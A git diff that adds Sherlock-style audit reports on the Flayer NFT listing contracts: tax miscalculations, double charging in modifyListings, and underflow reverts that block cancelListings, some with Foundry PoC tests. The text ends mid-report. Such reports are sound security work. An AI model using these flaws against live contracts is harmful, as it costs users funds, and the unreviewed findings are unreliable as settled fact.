+ if (params.floorMultiple <= MIN_FLOOR_MULTIPLE) revert FloorMultipleMustBeAbove100(params.floorMultiple);
+ if (params.floorMultiple > MAX_FLOOR_MULTIPLE) revert FloorMultipleExceedsMax(params.floorMultiple, MAX_FLOOR_MULTIPLE);
+
+ emit ListingFloorMultipleUpdated(_collection, params.tokenId, listing.floorMultiple, params.floorMultiple);
+
+ listing.floorMultiple = params.floorMultiple;
+ if (params.duration == 0) {
++ uint32 timeElapsed = uint32(block.timestamp - listing.created);
++ listing.created = uint40(block.timestamp);
++ listing.duration = listing.duration - timeElapsed;
+ }
+ }
+```
\ No newline at end of file
diff --git a/004/395.md b/004/395.md
new file mode 100644
index 0000000..7fc8862
--- /dev/null
+++ b/004/395.md
@@ -0,0 +1,76 @@
+Lone Chartreuse Alpaca
+
+Medium
+
+# Wrong Computation When Cancelling a Listing.
+
+### Summary
+
+Wrong computation when cancelling a listing will make it impossible for users to cancel all their listings for a collection token type due to an underflow revert.
+
+### Root Cause
+
+When cancelling a collection listing via [Listings::cancelListings](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L414-L470) function, the below calculation is done to compute how much is to be deducted from the user account:
+```solidity
+ uint requiredAmount = ((1 ether * _tokenIds.length) *
+ 10 ** collectionToken.denomination()) - refund;
+ payTaxWithEscrow(
+ address(collectionToken),
+ requiredAmount,
+ _payTaxWithEscrow
+ );
+```
+To better understand this issue, let's assume a user lists 200 tokens of a collection, at the same floor multiple and duration, and is charged a 10% fee/tax, hence receiving 200 - 20 ==> 180 collateral tokens.
+user balance = 180
+
+If the user intends to cancel all of his listings at half of his listing duration, half of the charged fee will be set to be refunded to the user. i.e:
+fees = 10
+refund = 10
+
++ Current Implementation:
+
+required amount = `((1 ether * _tokenIds.length) * 10** collectionToken.denomination()) - refund;
+=> 200 - 10 ==> 190`
+[payTaxWithEscrow](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L783-L813) is then called to deduct this required amount from the user collection token balance.
+user balance = 180 - 190
+this will thus result in an underflow revert.
+
++ Supposed Implementation
+
+Using the same example, we deduct the fee instead of the refund and also refund the user the refund amount:
+
+Where the fee is 10 and the refund is 10:
+
+required amount = 200 -10 => 190
+refund the user
+user balance : 180 + 10 ==>190
+then deduct the required amount.
+user balance = user balance - required amount ==> 190 - 190 = 0
+
+
+
+### Internal pre-conditions
+
+None
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+None
+
+### Impact
+
++ It will be impossible for users to cancel all of their listings for a collection.
++ Users are also deducted more collection tokens than they should per each listing cancellation.
+
+### PoC
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L414-L470
+
+### Mitigation
+
+
+Update the computation to deduct fees not refund, and then deposit the refund amount to the user, then burn just the required amount.
\ No newline at end of file
diff --git a/004/407.md b/004/407.md
new file mode 100644
index 0000000..5fa02ff
--- /dev/null
+++ b/004/407.md
@@ -0,0 +1,62 @@
+Faithful Plum Robin
+
+Medium
+
+# Users will be unable to cancel modified listings in certain conditions
+
+### Summary
+
+The calculation of collection token tax amount based on the assumption that refund will be less than floor price can cause a revert due to underflow when cancelling listings for users. This occurs as the contract attempts to recover tokens during withdrawal, especially when listings are modified to have much higher taxes than initially allowed.
+
+
+### Root Cause
+
+When a listing is modified, the contract recalculates the tax:
+```solidity
+taxRequired_ += getListingTaxRequired(listing, _collection);
+```
+However, unlike during the initial listing creation, there's no check to ensure that this new tax doesn't exceed the floor price:
+```solidity
+// This check exists in createListings but not in modifyListings
+if (taxRequired > tokensReceived) revert InsufficientTax(tokensReceived, taxRequired);
+```
+This allows a situation where the tax can grow larger than the floor price. The cancelListings function, however, assumes this invariant still holds when it calculates the amount to be recovered from user in https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L451
+
+```solidity
+uint requiredAmount = ((1 ether * _tokenIds.length) * 10 ** collectionToken.denomination()) - refund;
+```
+If the refund (based on the inflated tax) is larger than the floor price, this calculation will underflow, causing the transaction to revert and preventing the cancellation of the listing.
+
+The discrepancy between the lack of enforcement during modification and the assumption during cancellation is the root of this issue, leading to the underflow and subsequent revert.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. User creates a listing with a valid tax amount (less than floor price)
+2. User modifies the listing, significantly increasing the duration or floor multiple
+3. The modifyListings function recalculates the tax without checking if it exceeds the floor price:
+`taxRequired_ += getListingTaxRequired(listing, _collection);`
+4. User attempts to cancel the listing
+5. In cancelListings, the contract attempts to calculate the required amount to burn:
+`uint requiredAmount = ((1 ether * _tokenIds.length) * 10 ** collectionToken.denomination()) - refund;`
+6. This calculation underflows as the refund (based on the high tax) can exceed the floor price
+7. The transaction reverts due to the underflow, preventing the cancellation
+
+### Impact
+
+The user cannot cancel their listing due to the transaction reverting, potentially locking their asset indefinitely in the contract. This could lead to significant financial losses if market conditions change unfavorably. The workaround of modifying the listing to reduce the tax is ineffective as it forces the user to potentially list temporarily at unfavorable terms and still resulting in financial loss due to additional steps required. This breaks a core contract functionality that users may also not be aware of the workaround for and the issue is primarily because of incorrect assumptions in the protocol.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/004/423.md b/004/423.md
new file mode 100644
index 0000000..299f1f6
--- /dev/null
+++ b/004/423.md
@@ -0,0 +1,122 @@
+Massive Emerald Python
+
+High
+
+# Users who modify their listings will pay more tax than they should, when modifying only the floorMultiplier
+
+### Summary
+
+The protocol allows users to modify their listing parameters by calling the [modifyListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L303-L384) function. However when the user doesn't want to update the duration of the listing, only the floorMultiple, he will pay more tax than he is supposed to.
+```solidity
+ if (params.duration != 0) {
+ // Ensure that the requested duration falls within our listing range
+ if (params.duration < MIN_LIQUID_DURATION) revert ListingDurationBelowMin(params.duration, MIN_LIQUID_DURATION);
+ if (params.duration > MAX_LIQUID_DURATION) revert ListingDurationExceedsMax(params.duration, MAX_LIQUID_DURATION);
+
+ emit ListingExtended(_collection, params.tokenId, listing.duration, params.duration);
+
+ listing.created = uint40(block.timestamp);
+ listing.duration = params.duration;
+ }
+```
+As can be seen from the above code snippet the duration, and the created values will only be updated if the user has specified a duration different than 0 in the params he provides to the [modifyListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L303-L384) function. When the new tax that the user owes is calculated
+```solidity
+taxRequired_ += getListingTaxRequired(listing, _collection);
+```
+It will be calculated for the whole duration of the listing, the fact that the time left of the listing is less is not taken into account. Which results in the user overpaying for tax. Consider the following scenario:
+1. User A creates a position with a duration of **10 days**, and a floorMultiplier of **200** for a single NFT, the denomination of the token is **0**
+2. 5 days pass and User A decides he has priced the NFT too high, and decides to modify the floorMultiplier to **150**
+3. The tax the user initially paid is **~0.057e18** (based on the current formula for tax, whether that formula is correct or not is not important for this issue). After **5 days** have passed, the user will be returned **~0.0285e18** tokens, and the new tax that will be calculated will be **~0.032e18** because the contract calculates the tax for **10 days**, when there are only **5 days** left until the listing expires and turns into a dutch auction. The tax should be calculated for **5 days** and be **~0.016e18**
+4. If the listing is bough in the same block after it was modified, User A will be witheld **5 days** worth of taxes from the new tax and will be refunded **~0.016e18**, instead of the **~0.032e18** tax he just paid.
+
+This issue will occur every time users only modify the floorMultiplier of their positions, if they increase the floorMultiplier and for example the initial duration was 10 days, but before the user modifies his position he has 1 day left, he will pay much more tax than he should. This results in users loosing tokens when interacting with the system, thus the high severity.
+
+### Root Cause
+
+When users modify their listings via the the [modifyListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L303-L384) function, the case where users may want to modify only the floorMultiplier is not fully considered. The new tax will be calculated based on the whole duration of the listing, the fact that there is less time left until the listing turns into a Dutch auction is disregarded.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+If users only modify the floorMultiplier they will pay more tax than they should.
+
+### PoC
+
+[Gist](https://gist.github.com/AtanasDimulski/95fe424bd5c38a08b7d12cc5c3911878)
+After following the steps in the above mentioned [gist](https://gist.github.com/AtanasDimulski/95fe424bd5c38a08b7d12cc5c3911878) add the following test to the ``AuditorTests.t.sol`` file:
+
+```solidity
+ function test_ModifyListingTaxesMoreThanExpected() public {
+ vm.startPrank(alice);
+ collection1.mint(alice, 12);
+ collection1.setApprovalForAll(address(listings), true);
+
+ Listings.Listing memory listingAlice = IListings.Listing({
+ owner: payable(alice),
+ created: uint40(block.timestamp),
+ duration: 10 days,
+ floorMultiple: 200
+ });
+
+ uint256[] memory tokenIdsAlice = new uint256[](1);
+ tokenIdsAlice[0] = 12;
+ IListings.CreateListing[] memory createLisings = new IListings.CreateListing[](1);
+ IListings.CreateListing memory createListing = IListings.CreateListing({
+ collection: address(collection1),
+ tokenIds: tokenIdsAlice,
+ listing: listingAlice
+ });
+ createLisings[0] = createListing;
+ listings.createListings(createLisings);
+ uint256 taxWithledFromAlice = collectionTokenA.balanceOf(address(listings));
+ console2.log("Tax collected from alice: ", taxWithledFromAlice);
+ console2.log("Alice received tokens: ", collectionTokenA.balanceOf(alice));
+
+ /// @notice 5 days pass, alice's NFT is not sold yet, so she decides to lower the price
+ skip(5 days);
+ collectionTokenA.approve(address(listings), type(uint256).max);
+
+ Listings.ModifyListing memory modifiedListingAliceSingle = IListings.ModifyListing({
+ tokenId: 12,
+ duration: uint32(0),
+ floorMultiple: 150
+ });
+
+ Listings.ModifyListing[] memory modifiedListingsAlice = new Listings.ModifyListing[](1);
+ modifiedListingsAlice[0] = modifiedListingAliceSingle;
+ listings.modifyListings(address(collection1), modifiedListingsAlice, false);
+ console2.log("Alice balance after she decreased floorMultiplier: ", collectionTokenA.balanceOf(alice));
+ IListings.Listing memory listingAfterModification = listings.listings(address(collection1), 12);
+ console2.log("The created timesmap of the listing: ", listingAfterModification.created);
+ /// @notice the duration is still 10 days, however since 5 days has passed the set price will hold only for 5 more days
+ /// before the listing transforms into a dutch auction
+ console2.log("The duration of the listing converted to days: ", listingAfterModification.duration / 86400);
+ vm.stopPrank();
+ }
+```
+
+```solidity
+Logs:
+ Tax collected from alice: 57142857142857142
+ Alice received tokens: 942857142857142858
+ Alice balance after she decreased floorMultiplier: 939285714285714287
+ The created timesmap of the listing: 1
+ The duration of the listing converted to days: 10
+```
+
+To run the test use: ``forge test -vvv --mt test_ModifyListingTaxesMoreThanExpected``
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/004/437.md b/004/437.md
new file mode 100644
index 0000000..91efe52
--- /dev/null
+++ b/004/437.md
@@ -0,0 +1,52 @@
+Amateur Cornflower Fish
+
+Medium
+
+# Tax calculations charge liquid listings unfairly
+
+## Summary
+Calculate tax will return overly-inflated values for `liquid` listings the longer they are, causing tax to be unreasonably high and potentially reverting `Listings.createListings` even at some sensible values.
+## Vulnerability Detail
+Currently, `calculateTax` uses a formula that uses calculations on a per-week basis.
+
+```solidity
+ taxRequired_ = (_floorMultiple ** 2 * 1e12 * _duration) / 7 days;
+```
+This implementation works fine for `dutch` listings as they have a MIN-MAX duration range set from 1 days to (7 days - 1).
+However in the case of `liquid` listings whose durations range from 7 days to 180 days, the tax will increase exponentially, either taxing users unreasonably high amounts of money or reverting the transaction due to the snippet below
+
+```solidity
+ taxRequired = getListingTaxRequired(listing.listing, listing.collection) * tokensIdsLength;
+ if (taxRequired > tokensReceived) revert InsufficientTax(tokensReceived, taxRequired);
+```
+To put that in numbers:
+| Duration | Max Floor Multiple at Duration | Tax |
+| --- | --- | --- |
+| 180 days | 197 | 99,78% |
+| 18 days | 1000 | ~97,78% |
+| 77 days | 400 | 99,78% |
+
+The numbers for reference were chosen to highlight 3 scenarios:
+1) A liquid listing set at MAX_LIQUID_DURATION can have a max floor multiple of 197, meaning a listing created at this duration is always at a loss since owner receives only the difference between FILL_PRICE and the floor value of the token
+```solidity
+ ownerReceives = _tload(FILL_PRICE) - (ownerIndexTokens * 1 ether * 10 ** _collectionToken.denomination());
+```
+2) Users who want to list their rare NFT at MAX_FLOOR_MULTIPLE = 10_00 can list it for at-most ~18 days
+
+3) Users who want to list at the floor multiple used by liquidating protected listings = 400 can do it for at most 77 days (chose this floor multiple since it was picked by the developers as reasonable one for liquidation listings)
+
+All durations above the provided ones will cause reverts as tax will go beyond 100%.
+
+## Impact
+1) Unreasonably high taxes
+2) `createListings` will revert even with sensible values
+3) Lack of profitable `liquid` listings at MAX_LIQUID_DURATION would either lose users value (if they happen to create one) or drive users away from engaging with the protocol
+
+## Code Snippet
+[`calculateTax`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/TaxCalculator.sol#L43)
+## Tool used
+
+Manual Review
+
+## Recommendation
+Consider adding separate logic and formulas for `dutch` and `liquid` listing tax calculations.
\ No newline at end of file
diff --git a/004/488.md b/004/488.md
new file mode 100644
index 0000000..a37c7f4
--- /dev/null
+++ b/004/488.md
@@ -0,0 +1,46 @@
+Large Saffron Toad
+
+High
+
+# Wrong tax calculation in `createListings`
+
+## Summary
+In the `createListings` function in the `Listings.sol` contract the tax calculation is wrong as it is not multiplied by the duration.
+## Vulnerability Detail
+When we check out the tax calculation in `TaxCalculator.sol` we see that the tax is calculated the following way:
+```solidity
+ // Calculate the tax required per second
+ taxRequired_ = (_floorMultiple ** 2 * 1e12 * _duration) / 7 days;
+```
+And the returned value by the `calculateTax` function is the tax required per second.
+However in the `createListings` the tax is firstly multiplied by the denominator:
+```solidity
+function getListingTaxRequired(Listing memory _listing, address _collection) public view returns (uint taxRequired_) {
+ // Send our listing information to our {TaxCalculator} to calculate
+ taxRequired_ = locker.taxCalculator().calculateTax(_collection, _listing.floorMultiple, _listing.duration);
+
+ // Add our token denomination to support meme tokens
+>>> taxRequired_ *= 10 ** locker.collectionToken(_collection).denomination();
+ }
+```
+And then by the amount of NFTs:
+```solidity
+// Get the amount of tax required for the newly created listing
+ taxRequired = getListingTaxRequired(listing.listing, listing.collection) * tokensIdsLength;
+```
+After that is is removed from the received amount:
+```solidity
+ if (taxRequired > tokensReceived) revert InsufficientTax(tokensReceived, taxRequired);
+ unchecked { tokensReceived -= taxRequired; }
+```
+
+## Impact
+Every time a listing is created the tax is calculated in a wrong way.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L149
+## Tool used
+
+Manual Review
+
+## Recommendation
+Multiply the tax per second by the duration
\ No newline at end of file
diff --git a/004/491.md b/004/491.md
new file mode 100644
index 0000000..c7e268b
--- /dev/null
+++ b/004/491.md
@@ -0,0 +1,135 @@
+Fancy Emerald Lark
+
+Medium
+
+# Double fee charged on price modification of a liquid listing
+
+## Summary
+Likelihood: medium, when the lister wants to increase the price multiplier without change in duration
+Issue: When lister modifies the multiplier, the fee is charged at previous multiplier between (listing creation and listing modification). But after modification, any other action like cancel/fill listing will charge the fees at an updated multiplier for the whole time (listing creation and cancel/filling time) instead of time between (listing modification and cancel/filling time).
+
+This is double charging, so users are discouraged from updating their floor multiplier prices. And also double charging is not the protocol's intended way of listing modification.
+
+## Vulnerability Detail
+
+Issue flow :
+1. User creates a liquid listing for 10 days at 200 multipliers and it gets taxed 0.4 ether and he gets 0.96 etehr.
+2. And 7.5 days are over, seeing a sudden spike in interest in the collection, he tries to modify the listing multiplier( price) only, but not the duration. Its is possible and allowed as a feature. Check line 271 below.
+4. SO multiplier is changed from 200 to 400. And the new tax required is `taxRequired_` = 0.08 ether. Double than previous multiple.
+5. Here, fees for listing before modification is 0.03 ether and refund is 0.01 ether. (75% of the duration is over), so 75% of 0.04 tax is used as fees and rest is called refund.
+6. So, line 350 `taxRequired_ - refund_` = 0.08 - 0.01 = 0.07 etehr is pulled from user. And on line 361, the 0.03 ether fees is deposited for uniswap pool donation.
+
+The issue is, when the user wants to cancel the listing at the end before 10th day duration or when filling, the is calculated again for the whole 10 days at the multiplier 400. So, this is a double fee charge, for 7.5 days at 200 multiplier, the lister paid 0.03 ether as fees for donation. And again when it gets filled/canceled, the whole tax at 400 multiplier for total 10 days duration is charged.
+
+This is double fee charge, imagine if 0.03 ether was not charged because after modification, it gets filled/canceled and in that time the whole tax of 0.08 ether is charged right. Or correct way should be, when only multiplier is updated, pay fee for prev multiplier till the time of modification and pay for the new multiplier from modification time to duration end.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L303-L384
+
+```solidity
+Listings.sol
+
+270: /**
+271: * Allows multiple listings to have their duration changed or have the price updated. This will
+272: * validate to either require more tax, or refund tax. Before sending tokens either way, we will
+273: * use tax refunded to pay the new tax for gas savings.
+ ---- SNIP ----
+277: */
+278: function modifyListings(address _collection, ModifyListing[] calldata _modifyListings, bool _payTaxWithEscrow)
+279: public nonReentrant lockerNotPaused
+280: returns (uint taxRequired_, uint refund_)
+281: {
+282: uint fees;
+283:
+284: for (uint i; i < _modifyListings.length; ++i) {
+ ---- SNIP ----
+300: // Collect tax on the existing listing
+301: (uint _fees, uint _refund) = _resolveListingTax(listing, _collection, false);
+302: emit ListingFeeCaptured(_collection, params.tokenId, _fees);
+303:
+304: fees += _fees;
+305: refund_ += _refund;
+306:
+307: // Check if we are altering the duration of the listing
+308: if (params.duration != 0) {
+ ---- SNIP ----
+
+317: }
+318:
+320: if (params.floorMultiple != listing.floorMultiple) {
+ ---- SNIP ----
+329: listing.floorMultiple = params.floorMultiple;
+330: }
+331:
+332: // Get the amount of tax required for the newly extended listing
+333: taxRequired_ += getListingTaxRequired(listing, _collection);
+334: }
+335:
+ ---- SNIP ----
+348: if (taxRequired_ > refund_) {
+349: unchecked {
+350: >>> payTaxWithEscrow(address(collectionToken), taxRequired_ - refund_, _payTaxWithEscrow);
+351: }
+352: refund_ = 0;
+353: } else {
+354: unchecked {
+355: refund_ -= taxRequired_;
+356: }
+357: }
+358:
+360: if (fees != 0) {
+361: >>> collectionToken.approve(address(locker.implementation()), fees);
+362: locker.implementation().depositFees(_collection, 0, fees);
+363: }
+364:
+366: if (refund_ != 0) {
+367: _deposit(msg.sender, address(collectionToken), refund_);
+368: }
+369: }
+
+```
+
+
+## Impact
+The more times listing's multiplier is modified without duration, the extra fees charged.
+This is double charging, so users are discouraged from updating their floor multplier prices. And also double charging is not the procol's intended way of listing modification.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L303-L384
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L303-L384
+
+Update the creation time of the listing to current timestamp on the else block where its checked if multiplier is changed.
+In this case, only the fees is charged for remaining duration at modified multiplier, oer lese its gonna charge for whole duration.
+
+
+```diff
+
+ function modifyListings(address _collection, ModifyListing[] calldata _modifyListings, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused returns (uint taxRequired_, uint refund_)
+ {
+ uint fees;
+ for (uint i; i < _modifyListings.length; ++i) {
+
+ ---- SNIP ----
+
+ // Check if the floor multiple price has been updated
+ if (params.floorMultiple != listing.floorMultiple) {
+ if (params.floorMultiple <= MIN_FLOOR_MULTIPLE) revert FloorMultipleMustBeAbove100(params.floorMultiple);
+ if (params.floorMultiple > MAX_FLOOR_MULTIPLE) revert FloorMultipleExceedsMax(params.floorMultiple, MAX_FLOOR_MULTIPLE);
+
+ listing.floorMultiple = params.floorMultiple;
++ listing.created = uint40(block.timestamp);
+ }
+
+ // Get the amount of tax required for the newly extended listing
+ taxRequired_ += getListingTaxRequired(listing, _collection);
+ }
+
+ ---- SNIP ----
+
+ }
+```
\ No newline at end of file
diff --git a/004/527.md b/004/527.md
new file mode 100644
index 0000000..86fb3a3
--- /dev/null
+++ b/004/527.md
@@ -0,0 +1,60 @@
+Shiny Glass Hare
+
+Medium
+
+# Double Fee Charged in modifyListings Function for Unchanged Duration
+
+## Summary
+
+`Listing::modifyListings` charges a user for listing taxes twice if the listing duration is not updated. The function first resolves the existing tax on the listing, but when it calculates the new tax required, it charges the user for the entire duration again, including past time periods. This leads to the user paying more than expected since they are charged for time they’ve already paid for.
+
+## Vulnerability Detail
+The issue arises due to the following flow in the modifyListings function:
+`(uint _fees, uint _refund) = _resolveListingTax(listing, _collection, false);`
+This ensures that the user is charged up to the current time, and any excess tax is refunded.
+
+Later in the function, if duration is not changed `listing.created` and `listing.duration` values are not updated, so the duration for modified auction is less than `listing.duration`. However, new tax calculation includes the entire original duration of the listing, including time already accounted for by the previous tax.
+
+```solidity
+
+ // Collect tax on the existing listing
+ (uint _fees, uint _refund) = _resolveListingTax(listing, _collection, false);
+ emit ListingFeeCaptured(_collection, params.tokenId, _fees);
+
+ fees += _fees;
+ refund_ += _refund;
+ if (params.duration != 0) {
+ ...
+ listing.created = uint40(block.timestamp);
+ listing.duration = params.duration;
+ }
+
+ //@audit tax is calculated for whole duration
+ taxRequired_ += getListingTaxRequired(listing, _collection);
+```
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L355
+
+This step calculates the tax for the entire duration of the listing, which includes the time already covered by the previously collected tax. Since the user has already paid for the past time period, this results in double taxation.
+
+
+## Impact
+
+If the user does not update the listing duration, they will be taxed twice for the time period that has already passed.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L355
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+To prevent double taxation, the new tax calculation should only apply to the remaining time of the listing, excluding the time already covered by the previously collected tax.
+Another method would be to update created timestamp before tax calculation.
+ ```solidity
++ listing.created = uint40(block.timestamp);
+ //@audit tax is calculated for whole duration
+ taxRequired_ += getListingTaxRequired(listing, _collection);
+```
\ No newline at end of file
diff --git a/004/564.md b/004/564.md
new file mode 100644
index 0000000..8342b45
--- /dev/null
+++ b/004/564.md
@@ -0,0 +1,132 @@
+Striped Boysenberry Fox
+
+Medium
+
+# Unable to cancel an NFT whose tax exceeds the floor price
+
+## Summary
+
+An NFT may become non-cancellable if the tax exceeds the floor price (`1e18 * 10 ** denomination`) after modifying the listing.
+
+## Vulnerability Detail
+
+Creating a listing ensures that the tax on an NFT does not exceed the floor price. ([contracts/Listings.sol#L150](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L150))
+
+```solidity
+ function createListings(CreateListing[] calldata _createListings) public nonReentrant lockerNotPaused {
+ .... ...
+
+ // Loop over the unique listing structures
+ for (uint i; i < _createListings.length; ++i) {
+ ... ...
+
+ // Get the amount of tax required for the newly created listing
+ taxRequired = getListingTaxRequired(listing.listing, listing.collection) * tokensIdsLength;
+ if (taxRequired > tokensReceived) revert InsufficientTax(tokensReceived, taxRequired);
+ ... ...
+ }
+ }
+```
+
+However, the `Listings::modifyListings()` function does not enforce this restriction, so a listing owner can freely set the floor multiple and the duration of the listing as long as he provides the tax.
+
+This provides the possibility that the tax can exceed the floor price.
+
+The `Listings::cancelListings()` function burns the collection tokens that would have been given to the user when it was initially created.
+
+```solidity
+ function cancelListings(address _collection, uint[] memory _tokenIds, bool _payTaxWithEscrow) public lockerNotPaused {
+ ... ...
+@> uint requiredAmount = ((1 ether * _tokenIds.length) * 10 ** collectionToken.denomination()) - refund;
+ ... ...
+ }
+```
+
+Therefore, as can be seen from the above line, the underflow revert may occur when `refund` is greater than the floor price.
+
+Then, is it possible that a tax becomes greater than the floor price?
+
+Of course. Let's take a example:
+
+Assume that the duration is `70 days` and the floor multiple is `800`. (This assumption is easily feasible, as the maximum duration is `180 days` and the maximum floor multiple is `1e3`.)
+
+Then the calculated tax via `TaxCalculator::calculateTax()` is `(500 ** 2 * 1e12 * 70 days) / 7 days = 2.5e5 * 1e12 * 10 = 2.5e18`.
+
+### Proof-Of-Concept
+
+Here's a proof test case in the `Listings.t.sol` file:
+
+```solidity
+ // @audit-poc
+ function test_UncancellableDueToOverTaxed() public {
+ uint256 _tokenId = 1;
+ address _owner = address(0x101);
+ uint16 _floorMultiple = 800;
+ address _collection = address(erc721a);
+ ICollectionToken token = locker.collectionToken(_collection);
+
+ erc721a.mint(_owner, _tokenId);
+
+ vm.startPrank(_owner);
+ erc721a.approve(address(listings), _tokenId);
+ _createListing({
+ _listing: IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: IListings.Listing({
+ owner: payable(_owner),
+ created: uint40(block.timestamp),
+ duration: VALID_LIQUID_DURATION,
+ floorMultiple: _floorMultiple
+ })
+ })
+ });
+
+ deal(address(token), _owner, 10 ether);
+ token.approve(address(listings), type(uint256).max);
+
+ _modifyListing(
+ _collection,
+ _tokenId,
+ 70 days,
+ 800
+ );
+
+ vm.expectRevert(stdError.arithmeticError);
+ listings.cancelListings(_collection, _tokenIdToArray(_tokenId), true);
+
+ vm.stopPrank();
+ }
+```
+
+Here are the successful logs of the test case:
+
+```bash
+$ forge test --match-test test_UncancellableDueToOverTaxed -vv
+[⠒] Compiling...
+[⠃] Compiling 1 files with Solc 0.8.26
+[⠒] Solc 0.8.26 finished in 12.87s
+Compiler run successful!
+
+Ran 1 test for test/Listings.t.sol:ListingsTest
+[PASS] test_UncancellableDueToOverTaxed() (gas: 722308)
+Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.18ms (749.40µs CPU time)
+
+Ran 1 test suite in 10.22ms (8.18ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
+```
+## Impact
+
+NFTs whose taxes exceed the floor price are unable to cancel.
+
+## Code Snippet
+
+[Listings.sol#L303-L384](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L303-L384)
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+A new listing in the `modifyListings()` function should be validated so that its tax never exceeds the floor price like in creating listings.
+
diff --git a/004/623.md b/004/623.md
new file mode 100644
index 0000000..02bc2ec
--- /dev/null
+++ b/004/623.md
@@ -0,0 +1,80 @@
+Massive Emerald Python
+
+Medium
+
+# The formula used in the calculateTax() leads to price discrepancies and listings with certain parameters can't be created
+
+### Summary
+
+When users create a listing via the [createListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L130-L166) function they are withheld tax, this tax is calculated in the [getListingTaxRequired()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L766-L772) function based on the floorMultiplier provided by the user. The [getListingTaxRequired()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L766-L772) function internally calls the [calculateTax()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L35-L44) function:
+```solidity
+ function calculateTax(address _collection, uint _floorMultiple, uint _duration) public pure returns (uint taxRequired_) {
+ // If we have a high floor multiplier, then we want to soften the increase
+ // after a set amount to promote grail listings.
+ if (_floorMultiple > FLOOR_MULTIPLE_KINK) {
+ _floorMultiple = FLOOR_MULTIPLE_KINK + ((_floorMultiple - FLOOR_MULTIPLE_KINK) / 2);
+ }
+
+ // Calculate the tax required per second
+ taxRequired_ = (_floorMultiple ** 2 * 1e12 * _duration) / 7 days;
+ }
+```
+The [MIN_LIQUID_DURATION](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L82) is **7 days**, and the [MAX_LIQUID_DURATION](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L83C28-L83C47) is **180 days**. Now because the above function divides by **7 days**, a lot of combinations between floorMultiplier and duration for liquid listings wont' be possible. Because the [createListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L130-L166) function will revert due to the following check:
+```solidity
+if (taxRequired > tokensReceived) revert InsufficientTax(tokensReceived, taxRequired);
+```
+Lets take for example a floorMultiplier of **200**, and a duration of **180 days** we get the following:
+ **(200 ** 2 * 1e12 * 15_552_000) / 604_800 = (40_000 * 1e12 * 15_552_000) / 604_800 = (4e16 * 15_552_000) / 604_800 = 622_080e18 / 604_800 ~1.02e18**
+ The tax required will be bigger than 1e18 and thus the [createListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L130-L166) function will revert. This combination of parameters for a listing are in the expected parameters that users can provide, because they satisfy the limitations set as constant variables by the protocol team. There are a lot of combinations of floorMultiple and duration where a listing can't be be created, when it should be possible to create such a listing. The demonstrated scenario is not an edge case. The logical and simplest fix to that would be do divide by **365 days** not **7 days**. **7 days** seems like a completely random number. Secondly when dividing by **7 days** instead of **365 days** it looks like the users will have to pay more tax than they should.
+
+Another issue with the current formula is that this calculation is rounded down:
+```solidity
+((_floorMultiple - FLOOR_MULTIPLE_KINK) / 2);
+```
+The current price of the NFT is calculated in the [getListingPrice()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L826-L885) function:
+```solidity
